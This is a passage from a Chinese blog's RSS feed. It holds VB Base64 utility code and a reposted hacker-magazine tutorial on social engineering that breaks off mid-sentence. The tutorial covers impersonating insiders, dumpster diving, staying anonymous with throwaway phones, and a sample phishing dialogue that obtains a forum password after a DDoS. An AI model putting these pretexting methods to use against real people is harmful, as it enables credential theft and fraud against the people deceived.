UBound(bytInput)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For i = 0 To u - ((u + 1) Mod 3) Step 3&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; Chr(Base64EncodeIndex(Int((bytInput(i) And 252) / 4)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; Chr(Base64EncodeIndex(Int((bytInput(i) And 3) * 16 + (bytInput(i + 1) And 240) / 16)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; Chr(Base64EncodeIndex(Int((bytInput(i + 1) And 15) * 4 + (bytInput(i + 2) And 192) / 64)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; Chr(Base64EncodeIndex(Int(bytInput(i + 2) And 63)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Next i&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Select Case ((u + 1) Mod 3)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Case 1&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; Chr(Base64EncodeIndex(Int((bytInput(u) And 252) / 4)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; Chr(Base64EncodeIndex(Int((bytInput(u) And 3) * 16)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; "=="&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Case 2&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; Chr(Base64EncodeIndex(Int((bytInput(u - 1) And 252) / 4)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; Chr(Base64EncodeIndex(Int((bytInput(u - 1) And 3) * 16 + (bytInput(u) And 240) / 16)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; Chr(Base64EncodeIndex(Int((bytInput(u) And 15) * 4)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strRslt = strRslt &amp;amp; "="&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End Select&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64Encode = strRslt&lt;br&gt;HasError:&lt;br&gt;End Function&lt;br&gt;&lt;br&gt;' Base64 解码函数&lt;br&gt;' Code by iceboy&lt;br&gt;Private Function Base64Decode(ByVal strInput As String) As Byte()&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim i As Long, l As Long, bytRslt() As Byte&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; On Error GoTo HasError&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; l = Len(strInput)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If l = 0 Then Exit Function&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If l Mod 4 &amp;lt;&amp;gt; 0 Then Exit Function&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If Right(strInput, 2) = "==" Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ReDim bytRslt(l / 4 * 3 - 3)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ElseIf Right(strInput, 1) = "=" Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ReDim bytRslt(l / 4 * 3 - 2)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ReDim bytRslt(l / 4 * 3 - 1)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For i = 1 To l - 4 Step 4&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bytRslt(Int(i / 4) * 3) = (Base64DecodeIndex(Asc(Mid(strInput, i, 1))) * 4) + ((Base64DecodeIndex(Asc(Mid(strInput, i + 1, 1))) And 48) / 16)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bytRslt(Int(i / 4) * 3 + 1) = ((Base64DecodeIndex(Asc(Mid(strInput, i + 1, 1))) And 15) * 16) + ((Base64DecodeIndex(Asc(Mid(strInput, i + 2, 1))) And 60) / 4)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bytRslt(Int(i / 4) * 3 + 2) = ((Base64DecodeIndex(Asc(Mid(strInput, i + 2, 1))) And 3) * 64) + (Base64DecodeIndex(Asc(Mid(strInput, i + 3, 1))))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Next i&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bytRslt(l / 4 * 3 - 3) = (Base64DecodeIndex(Asc(Mid(strInput, l - 3, 1))) * 4) + ((Base64DecodeIndex(Asc(Mid(strInput, l - 2, 1))) And 48) / 16)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If Right(strInput, 2) &amp;lt;&amp;gt; "==" Then bytRslt(l / 4 * 3 - 2) = ((Base64DecodeIndex(Asc(Mid(strInput, l - 2, 1))) And 15) * 16) + ((Base64DecodeIndex(Asc(Mid(strInput, l - 1, 1))) And 60) / 4)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If Right(strInput, 1) &amp;lt;&amp;gt; "=" Then bytRslt(l / 4 * 3 - 1) = ((Base64DecodeIndex(Asc(Mid(strInput, l - 1, 1))) And 3) * 64) + (Base64DecodeIndex(Asc(Mid(strInput, l, 1))))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64Decode = bytRslt&lt;br&gt;HasError:&lt;br&gt;End Function&lt;br&gt;&lt;br&gt;Private Sub Class_Initialize()&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim i As Long&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For i = 0 To 25&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64EncodeIndex(i) = i + 65&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64DecodeIndex(i + 65) = i&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Next i&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For i = 26 To 51&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64EncodeIndex(i) = i + 71&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64DecodeIndex(i + 71) = i&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Next i&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For i = 52 To 61&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64EncodeIndex(i) = i - 4&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64DecodeIndex(i - 4) = i&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Next i&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64EncodeIndex(62) = 43&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64DecodeIndex(43) = 62&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64EncodeIndex(63) = 47&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Base64DecodeIndex(47) = 63&lt;br&gt;End Sub&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=47</guid><pubDate>Sat, 05 May 2007 14:10:00 GMT</pubDate></item><item><title>推荐:社会工程学三部曲</title><link>http://www.chendw.cn:8080/view.aspx?id=46</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;font color="#00cc00"&gt;文章作者：lizaib&lt;br&gt;信息来源：邪恶八进制信息安全团队（&lt;/font&gt;&lt;a href="http://www.eviloctal.com/" target="_blank"&gt;&lt;font color="#00cc00"&gt;www.eviloctal.com&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;）&lt;br&gt;&lt;br&gt;&lt;strong&gt;注意：本文首发&lt;a href="http://www.wolfexp.net/" target="_blank"&gt;红狼安全小组&lt;/a&gt;和&lt;a href="http://www.x-ant.cn/" target="_blank"&gt;X.S.T&lt;/a&gt;，后由原创作者友情提交到邪恶八进制。原是《&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;黑客&lt;/a&gt;X档案》第五期的投稿文章，后来考虑理论性的原因，打算换一种方式来，具体的真实案例攻击就保留了，只修改了少部分便放上来了，不当之处敬请指正！转载请注明原始来源。&lt;/strong&gt;&lt;br&gt;&lt;br&gt;大家一定知道超级&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;黑客&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;凯文·米特尼克吧，深为他的社会工程学所折服，美国国防部、五角大楼、中央情报局、北美防空系统……都是他闲庭信步的地方，没有人怀疑他的真实身份，对于他所想获得的信息如鱼得水，这便是社会工程学的魅力。当然，社会工程学不是那么困难难以撑握，本文分为社会工程学—信息刺探、社会工程学—心理学的应用、社会工程学—反查&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;等三部曲使大家走入社会工程学的神秘世界。&amp;nbsp;&amp;nbsp; 社会工程学师一般都干了什么呢？恐怕小菜们一定很想知道，是的，他们的目标或许是你的银行账户、私人信息、或是对企业拿取一份商业秘密。不管如何，他们总会设法找到一个切入点，哪怕只需要你的一个名字，他就能越过你所装的最好的防火墙或是杀毒软件，听上去有点恐怖，但事实如此，如果他们开始精心设计一个的陷阱，一切皆有可能。&lt;br&gt;&lt;br&gt;&lt;strong&gt;前言&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 在前几期的&amp;lt;&amp;lt;&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;黑客&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;X档案&amp;gt;&amp;gt;有介绍过一些社会工程学的技巧，但是，那是狭义的社会工程学，有的是与社会工程学没有关系，比如利用dirshell扫描出大量的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;库，一旦其中存在Email与QQ，便利用其密码尝试，运气好便可成功获得真实密码，事实上这与心理学有关系，一般而言，18岁以下的人所拥有的密码为1~2个，其它为1~3个。为什么会出现这样的呢？大部分人凡事讲究方便自已，自信自已的信息一直处于安全状态。小菜们一定看到，狭义的社会工程学给人的是不可信的。广义的社会工程学是怎样的呢？说白了便是空手套白狼。它要求的是你不仅知道目标的计算机信息，且必须通过信息收集了解目标弱点，即规则弱点、人为弱点，然后开始构造精心的陷阱让目标交出攻击者所想要的信息。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 这里说明一些社会工程学的误区，有的并不能称之为社会工程学，有的小菜别被误导了。比如为了使用findpass找在线管理员的密码，而shutdown掉&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;器，迫使管理员登录。请记着，这并不能称之为社会工程学，而是一种蠢方法，虽然shutdown了&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;器，你能知晓管理员在线？明天或是后天，你有精力不停的等待么？菜鸟要知晓的是，社会工程学前提是离不开信息刺探，我们更好的方法是便是从筛选的信息将目标一步步引导入自已的控制范围。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 不可否认，社会工程学与生活的相关事物存在共通性，比如社交、商业、交易等都能看到社会工程学部分的影子，然而人们无法感觉。即使计算机与Internet相隔，配备高级入侵监测系统，而且也是专家人物维护，但不可忽视的是：每个人，都有弱点！而社会工程学师不但能善用这种弱点为他们&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;，更危险的是，这种稍闪即逝的入侵难以察觉。这一部分简而言之使小菜明白狭义的社会工程学与广义的社会工程学的区别。下面将走进的第一部分便是信息刺探……&lt;br&gt;&lt;br&gt;&lt;strong&gt;第一部分：社会工程学—信息刺探&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&lt;strong&gt;一、善用你身边的信息&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 尽量利用现有所知道的信息，这些信息将能处理好突发事件，此类信息指的是规章、制度、方法、约定。规章，指的是一个行业的规章，我们可以认为是行规，或是内部约定，比如，货摊A为了抢掉货摊B的生意，故意低压低价格来龚断是不对，违反了不正当经营法了。　所以我们要尽量了解各行各业的之间的此类信息，比如校园，只有领导层内的人员才会拥有一份全校的师生的联系名单，&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;行业通常有这样和那样的内部约定，了解此类信息对我们非常有利。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 除了我们必须知道那些方法外，还需要的是业内术语。看到这儿，小菜一定会问什么是术语了，它主要有什么用？嗯，业内术语即不同行业之间的”黑话”，比如，我们&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;黑客&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;界的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;钓鱼术语，一般人会认为是到网上去钓鱼。当然，业内术语用处大着了，社会工程学的身份都是经常变换的，假设我们要冒充银行业务员，就必须知道一些压缩贷款、反担保、关联企业……等等一些术语，否则当我们试图拨通一个分行经理的电话，他们就会出现激警，即经理发现你的攻击行为，由此可见术语的重要性。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 所以在一个攻击的起始，我们得做一些准备，假设我们的目标是一个&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;恢复的企业，我们可以去买一本关于&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;恢复的书，熟悉一些术语的概念。顺便伪装成一个访客看看一些员工办室墙上或是桌上的规章制度，如果去他们的垃圾处理场所，总会有一堆废纸什么的，但这里面包含了重要的信息，我们可以称之为垃圾的价值，比如会有一些客户书，员工身份号联系等。现在，小菜们一定明白，任何的信息都有利用的价值。&lt;br&gt;&lt;br&gt;&lt;strong&gt;二、学习侦探的伪装&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 假设我们获取了目标部分信息，但必须通过对话得到更加敏感的信息，我们不可能直接让对方发现吧，所以我们得先完成身份的伪装。假设一个小菜的目标是某电器分行的销售部，那么我们最好伪装成另一分行的销售人员，而且我们知晓他们公司内部的销售术语，或我们再带一份分行销售报告书，我想对方一定不会怀疑你不是内部人员的。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 任何的社会工程学师都会使人认为他是可信任的，友好的，有礼貌的，然而，这都是他们伪装出来的假象。如果要表现出文质彬彬，这会要求我们行为与语气上伪装。社会工程学师有一点比侦探更妙的地方是不需要去往自已嘴上贴胡子，哈哈。所以说，如果小菜想让MM喜欢的话，不妨去模仿她心目中的男孩。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 再谈一下伪装的要点，任何情况不不要泄露自身的真实信息。或许我们会碰到一些意外事件，所以，在开始准备的时候，带上一张没有多少余额的手机，用完后就别再用了，这样可免遭怀疑。还有比如通讯账号QQ，永别使用自已的QQ，最好为自已准备一个信封，目标信息拿到后，将对方拖入黑名单。&lt;br&gt;&lt;br&gt;&lt;strong&gt;三、人性的弱点&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 每个人都有心理弱点，没有人永远没有心理弱点。可以说，此部分是社会工程学重要的部分，他们能够利用人们的信任、乐于助人的愿望和同情心使你上当。那么，我们应该怎样去发现这类弱点呢？很简单，我们只要构造一个精心的问题，冒称他们的同事，设计一个帮助他们解决一个问题，那么，对方便会信任我们了，我们会更轻松获得想要的信息，而且更不容被发现。菜鸟们一定经常有很多问题吧，但他们总是茫目的去找一个人帮助，或是想认一个师父，我有个这样的经验，一个晚上我收了50个徒弟，然而只是开了一个玩笑，我的方法很简单，直接在Google搜索：本人找师父，或在qihoo搜索：找师父。然后帮助他们解决一个问题，两三句话便获取了他们的信任，有的还打算花钱请我，但我告诉他，只是开了一个玩笑，这个实例利用了他们对帮助的人信任。此部分最具危害性，所以我进行分开来讲，请参照社会工程学－－心理学应用。&lt;br&gt;&lt;br&gt;&lt;strong&gt;四、组织信息　构造陷阱&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 假设现在我们通过目标的同事撑握了信息，比如目标的真实姓名、联系方式、作休时间…等等。这还不够的，高明的社会工程学师会把前前后后的信息进行组织、归类、筛选。以构造精心准备的陷阱，这样，可使目标自行走入。我打个比方吧，声明哦，这是我朋友的一个案例，&lt;br&gt;&amp;nbsp;&amp;nbsp; A：你现在打不开论坛对吗？&lt;br&gt;&amp;nbsp;&amp;nbsp; B：是的，打开是一片空白&lt;br&gt;&amp;nbsp;&amp;nbsp; A：那是由于身份认证错误，我是XX论坛管理员，你要把论坛的用户名与密码发送到&lt;/font&gt;&lt;a href="mailto:XX@263.com"&gt;&lt;font color="#00cc00"&gt;XX@263.com&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;，以免系统稍后会恢复你的访问。&lt;br&gt;&amp;nbsp;&amp;nbsp; B：现在吗？&lt;br&gt;&amp;nbsp;&amp;nbsp; A：是的，我得马上给你恢复，不然我作废账户了。&lt;br&gt;不一会儿，朋友很顺利得到他在某论论的VIP账户，论坛为什么打不开了，被DDOS了，从这个例子我们可以看出组织信息的重要性，如果B能正确回答第一个问题，A可能会考虑换种方式，这个案例非常的简单，那就是B对计算机方面不了解，害怕账户丢失，一点也不怀疑A就给了密码，而这个密码已乎通用了，所以现在小菜明白前辈们总告诉你不要使用同一个密码，永别把密码告诉第三者。&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;strong&gt;第二部分：社会工程学—心理学的应用&lt;/strong&gt;&lt;br&gt;从前面所说，我们知道人性的弱点在社会工程学中是重要的一部分，实际上，这是一种心理学的应用，是社会工程学的一个分支，本文从心理学角度分析社会工程学师凯文.米特尼克所著《欺骗的艺术》三个典型攻击案例，为大家揭开心理学在社会工程学中的应用。为节省篇幅，我不打算将案例拷贝过来，所以请参照光盘附带的《欺骗的艺术》文档进行阅读。&lt;br&gt;&lt;br&gt;&lt;strong&gt;信誉支票&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 攻击者需要从国家银行查询一个用户的交易记录，然而，银行不可能答应这样的要求，所以攻击者开始他的动作。第一个电话，攻击者拨通了国家银行的电话，以私人问题顺利从吉姆.安德鲁斯获知内部专业术语。第二个电话，攻击者以信誉支票的客服代表拨通银行开户处，以调查方式获取了他想要的信息。第三个电话，攻击者以国家银行职员拨通信誉支票处，最终知道目标的用户的账户交易记录。以下标有双引号的文字，均为引用凯文.米特尼克的分析与总结。&lt;br&gt;&lt;br&gt;"我给银行打电话时，第一位年轻的小姐，吉姆，在我询问他们如何向信誉支票确定自己身份时就有所迟疑，她犹豫着，不知道是否应该告诉我"。犹豫给我们传递了一个有效的信号，可以说此时的心理想法完全在于她左脑的判断。左脑主管言语活动（听、说、读、写）、数学运算、逻辑推理等具有连续性、有序性、分析等功能，是进行抽象思维的中枢，所以这个时候我们需要给对方一个可信的理由。我想你一定有过在外借钱的经验，当你试图询问一个陌生的小姐时，她会有点儿犹豫，而如果你告诉她，你是一名导演，在外迷路了，并给她一张导演名片，我想陌生的小姐都不会拒绝，因为小姐确信他是一名导演，名片使她无从怀疑。&lt;br&gt;&lt;/font&gt;&lt;div align="center"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br&gt;&lt;font color="#00cc00"&gt;&lt;img src="http://dx.3800hk.com/news/UploadFiles_9994/200705/20070504202416748.jpg" border="0"&gt; &lt;/font&gt;&lt;/div&gt;&lt;font color="#00cc00"&gt;"你必须依靠自己的感觉，仔细的倾听马克[&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;受骗&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;者]的说话内容和说话方式"。我们每个人的人生是奠基于两种形式的信息传送上。第一种是内在的传送，那是在内心里的描绘、细语和感受；第二种是外在的传送、包括言词、语气、表情、举止、行为等来与外界接触，这决定了社会工程学是否成功。社会工程学师必须通过外在的传送来筛选最有用的信息，来判断对方的性格，感觉类型，心理特点。各种情绪的反应过程和导演的工作很像。不错，他们为了确实达到戏剧效果，就得掌握住观众的视觉及听觉。如果他要你害怕，就会提高音调，并出奇不意地在银幕上跳出意想不到的画面；如果他要你兴奋，他会利用音乐、灯光，以及会有那种效果的的画面。即使是一个素材，导演也可以弄出一部喜剧或悲剧来，全看他是打算如何在银幕上呈现。如果我们要控制一个人的心智活动，产生生理的行动，我们完全可以模仿斯皮尔博格导演一样灵巧。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; "获得公司职员认为无关紧要的信息（实际上它是有用的）"。人人都有一种心理，那就是自已无关紧要的信息随处放着，或许，他们认为很方便。我曾住在校外时，总有一些人让我帮他们去取钱，然而，他们总把密码写在存拆卡上，他们似乎认为别人没有卡就不能取钱，便如果我拿着他的身份证去挂失呢？你经常一定看到QQ上某人的个人资料吧，通常是站点、一段数字、手机、邮件、个性签名，QQ-Zone，这给攻击者很大便利，他们会很快判断你的事业，心理弱点。某天一个陌生人说，我与你是同一个学校(公司)，我知道你的名字，请别怀疑，快去更改你的资料吧，最好不要泄露你真实的联系方式，社会工程学师都精于此道。&lt;br&gt;&lt;br&gt;&lt;strong&gt;一美分的手机&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 无线通讯公司发起了一个大规模的促销活动，只要你登记接受一种资费方式，便可以得到一部全新的手机，只收一美分，然而精明的人知道有很多问题要问清楚。然而攻击者讨厌捆绑资费方式，他开始行动......第一个电话拨往西吉拉德电器连锁店的泰德，谎称是顾客很顺利套取到另一职员姓名威廉.哈德利。第二个电话拨往北广街连锁店的凯蒂，冒称威廉.哈德利使凯蒂信任他是连锁店内部人员，并遵从他的要求将一美分的手机售给泰得.岩西(攻击者)。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; "人们会很自然地相信熟悉公司内部的业务流程和专业用语，并声称自己是公司同事的人"。在这一部分，我试图以心理学中的NLP神经语言学来解释，简单说NLP就是研究语言，不论是有声或是无声，对神经的影响。我们的能力是奠基于自我控制神经系统的能力，凯文.米特尼克就是透过神经系统传送特别的信息。你知道社会工程学经常使用的技法便是冒称身份，使对方认可为内部人员。然而以NLP来说，这种技法称之为模仿，NLP的三种形式：信念系统、心智序列、生理状态，这三种形式你并不用花过多时间理解。事实上，NLP是强调行为、内心储忆、生理状态模仿，而社会工程学师冒称身份以及使用专业术语，那是行为上的模仿。如果在行为的模仿无误，别人便不会对你产生丝毫怀疑，由于公司强调的是团队与协作精神，这成为每个职员左右铭，对于同事的请求与帮助都不会怀疑其可信，否则便与公司的团队精神背道而驰，除非对方细心确认。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 有必要单独介绍一下NLP内心储记作用，它经由五类感觉器官而测得的，换句话说，我们对周遭的认识，是透过视觉、听觉、触觉、嗅觉、味觉而传送的讯息。所传至脑子的信息就称之为感元，其中以视、听、触感元为主。不同的人感元不同，有些人觉得图画对他们会有较大诱力，另外一些人都具种感觉倾向，内心储记很少在社会工程学中利用，因为这种攻击来去匆匆以保证免遭发现，若想一个星期使人信任你，未为失一个很好的方法。很多人一定有过追女生的经验，你们一定会问她：你喜欢看电影还是听歌？或是喜欢小饰物？假设她说喜欢看电影(视觉型)，你可以夜晚放烟花，或是在一堆气球写上我爱你，那么，对方会开始对你产生信任感。你现在一定明白一些家庭不合，假设男的是听觉型，女的视觉型，女的若是问，你爱我吗？若男的说我爱你，女的说我无法感觉你爱我，很显然，他们存在信任的危机，如果男的开着车去她公司送一束鲜花，结果显而易见。&lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;网络&lt;/a&gt;故障&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; 鲍比的任务：对斯达伯德造船长办公室电脑进后木马植入。第一个电话，鲍比冒称&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;中心艾迪.马丁，谎称&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;问题的出现，并套取到计算机端口号。第二个电话，鲍比冒称鲍勃请求厂&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font 